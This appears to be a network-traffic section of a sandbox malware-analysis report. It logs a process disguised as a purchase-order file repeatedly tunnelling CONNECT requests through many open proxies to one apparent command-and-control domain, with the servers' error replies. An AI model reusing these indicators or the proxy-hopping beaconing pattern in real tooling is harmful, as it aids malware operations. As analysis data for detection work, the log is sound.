Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.423593044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.733047009 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.10	51883	162.159.242.8	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.425710917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.586694002 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.10	51896	188.114.99.171	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.426732063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.580996990 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.10	51889	162.159.247.57	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.428354979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.589512110 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.10	52022	200.111.182.6	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.434487104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.10	52024	200.111.182.6	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.435213089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.10	51908	104.19.5.247	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.435412884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.589777946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.10	52025	200.111.182.6	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.437072992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.10	52029	200.111.182.6	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.437689066 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.10	51724	120.78.191.68	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.443516016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.790420055 CET	318	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html; charset=utf-8 Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 16:39:46.790899992 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 30 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314009"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.10	51721	176.99.2.43	1081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.444077969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.176574945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.285985947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.473598003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.676744938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.786000013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.328669071 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.10	51183	212.108.145.195	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.444942951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.301521063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.559036970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.10	51158	51.161.131.84	63055	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.445389986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.176513910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.176579952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.10	51719	62.141.70.118	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.445600986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.826323986 CET	529	IN	HTTP/1.1 501 Not Implemented Access-Control-Allow-Origin: * Content-Type: text/html Content-Length: 357 Date: Mon, 11 Mar 2024 15:29:31 GMT Server: lighttpd/1.4.28 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 2d 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 35 30 31 20 2d 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>501 - Not Implemented</title> </head> <body> <h1>501 - Not Implemented</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.10	51711	49.4.48.128	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.446104050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.809231997 CET	174	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 494 Connection: close ETag: "658e91eb-1ee"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.10	51881	162.240.208.98	43704	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.446280956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.989011049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.676693916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.10	51746	4.144.161.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.449305058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.10	51211	132.148.167.243	48298	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.451670885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.489029884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.489897966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489331961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
